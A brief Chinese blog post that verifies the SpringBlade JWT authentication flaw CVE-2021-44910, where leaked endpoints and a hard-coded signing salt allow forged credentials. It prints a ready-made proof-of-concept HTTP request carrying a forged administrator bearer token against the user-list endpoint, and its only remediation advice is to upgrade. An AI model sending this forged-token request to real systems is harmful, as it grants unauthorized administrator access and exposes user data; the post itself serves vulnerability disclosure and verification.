漏洞验证-SpringBlade框架JWT认证缺陷(CVE-2021-44910)

一、漏洞描述

SpringBlade框架JWT通过app.js泄露的接口信息和硬编码在jar包中的salt可以轻易的伪造用户或管理员凭证。

二、验证POC

GET /api/blade-user/user-list HTTP/1.1
Host: XXXX
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; rv 11.0) like Gecko
Accept: */*
Accept-Encoding: gzip,deflate
Accept-Language: zh-cn,en-us;q=0.7,en;q=0.3
blade-auth: bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIn0.JOsWrAkblh7PFJFrr_cmuOQMrzStfwvee61sSVH4o6p401oAHpP284VkL0CyKnUX1MT8KnrCAOPRYBRbmfcdTg

三、验证截图

image

四。整改建议

联系厂商升级到最新版本。

posted @ 2026-03-03 16:52  Domren  阅读(0)  评论(0)    收藏  举报